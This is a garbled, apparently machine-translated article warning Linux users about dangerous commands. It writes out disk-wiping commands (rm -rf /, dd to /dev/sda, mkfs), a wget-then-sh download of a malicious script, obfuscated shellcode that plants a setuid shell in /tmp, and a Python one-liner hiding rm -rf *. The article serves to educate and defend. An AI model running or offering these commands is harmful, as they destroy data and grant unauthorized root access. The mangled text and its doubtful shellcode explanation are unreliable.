The commands listed in this article cannot be run, even if you are curious, unless you are running on a virtual machine (you can restore the problem ), because they will actually damage your system. Therefore, it is a good habit not to execute commands under root or other advanced management permissions. Sooner or later, the Linux system will become as popular as Windows.
TheCommandIt cannot be run, even if you are curious, unless you are running on a virtual machine (you can restore it if something goes wrong), because it will actually damage your system. Therefore, it is a good habit not to execute commands under root or other advanced management permissions.
One day later, Linux systems will become as popular as Windows, with more and more users, including those who are not familiar with computers. The purpose of this article is to tell you: while Linux gives you the maximum degree of freedom, it also makes it easier to destroy the system. If you do not understand the meaning of some commands, download and execute scripts containing malicious commands, or you may be cheated to run some commands, which makes it easy for you to cry.
This does not mean that Linux is not safe, but that Linux is very insecure in the face of people who do not know Linux or who are not careful. Windows, Linux, and people themselves are the biggest insecure factors.
The following command will delete the files on your hard disk,Rm-R recursive deletion, and-f forced deletion are very dangerous options. Even in daily operations, files may be deleted by mistake.
SuDo rm-rf/delete all files in the root Partition Sudo rm-rf. Delete all files in the current directory Sudo rm-rf * same as above Rm-rf * or rm-rf *. * same as above Rm-rf ~ /& Delete the root partition and home directory. Even if you are not root, the home directory will not be spared. |
Similarly, if you do not know
Mkfs. Xxxx (xxxx can be vfat,
ExT2, ext3, bfs ......) If it is a formatting command, running the following command will erase your hard disk partition:
DdIt is a powerful IO input/output targeting tool. If used improperly, it will be highly destructive, not just the current partition, the current system, but sometimes the entire hard disk.
Sudo dd if =/dev/zero of =/dev/sda all hard disks are cleared. Sudo dd if =/dev/sda of =/dev/sdb overwrite the content of the second disk. Sudo dd if = something of =/dev/sda writes junk data to the hard disk. |
Similarly, direct the command result to the hard disk is equivalent to writing junk data to the hard disk:
Any_command>/dev/sda destroys the hard disk with random data |
The above sda and sdb may also be similar names. The Linux/dev system provides convenient and powerful functions for operating hardware, and also makes damage easier.
The fork command opens a sub-process. If the fork is placed in an infinite loop, the sub-process will consume all the memory resources:
The zhuyun symbol allows the Shell to stop the fork sub-process and eventually cause memory depletion and has to be restarted. This is not a bug, but the Shell statement is deliberately abbreviated. The following is the same:
Sometimes,
CompressionPackage is also a source of destruction ~
Some compressed packages require you
ExtractIn a directory that already exists in a system, you should be very careful at this time. The compressed package may contain thousands of small files and try to overwrite your existing files with various file names.
Some compressed packages look small, but decompress the compressed GB of junk data to fill your hard disk.
Programs and scripts downloaded from irregular websites may also have the danger of containing malicious commands and cannot be executed casually:
Wget http: // some_place/some _File Sh./some_file Wget http://hax018r.org/malicious-script Sh./malicious-script |
To load the script, ensure that the source is regular. If you have the ability, read the code.
Do not compile or execute any program with source code:
Char esp [] _TrIbute _ (section (. text)/* e. s. p Release */ = Xebx3ex5bx31xc0x50x54x5ax83xecx64x68 Xffxffxffxffx68xDfXd0xdfxd9x68x8dx99 Xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7 X56x04xf7x56x08xf7x56x0cx83xc4x74x56 X8dx73x08x56x53x54x59xb0x0bxCdX80x31 Xc0x40xebxf9xe8xbdxffxffxffx2fx62x69 X6ex2fx73x68x00x2dx63x00 Cp-P/bin/sh/tmp/. beyond;Chmod4755 /Tmp/. beyond ;; |
The above seems to be just a bunch of meaningless hexadecimal data. If someone tells you that you can run this program without entering the password to obtain the root permission of the system, do not trust it, the above program actually runs "rm-rf ~ /&".
A scripting language like python can also be used for damage:
Python-c 'import OS; OS. system (.Join([Chr (ord (I)-1) for I in sn !. Sg! ])' |
This program will actually execute rm-rf *. Maybe you are surprised that the "sn !. Sg! What does it mean? It is actually the next of every rm-rf * letter!
So how can we avoid running malicious programs?
First, do not use root as the user for daily use. If the above program is not root, the scope of hazards will be much smaller.
Second, you need to know what commands are used and what commands you Don't know should not be run rashly. To run programs with potential damage, check your input carefully.
Third, ensure that the source of software and scripts is regular.
Last, although it is relatively negative, it is indeed very important:
Back up your data frequently !!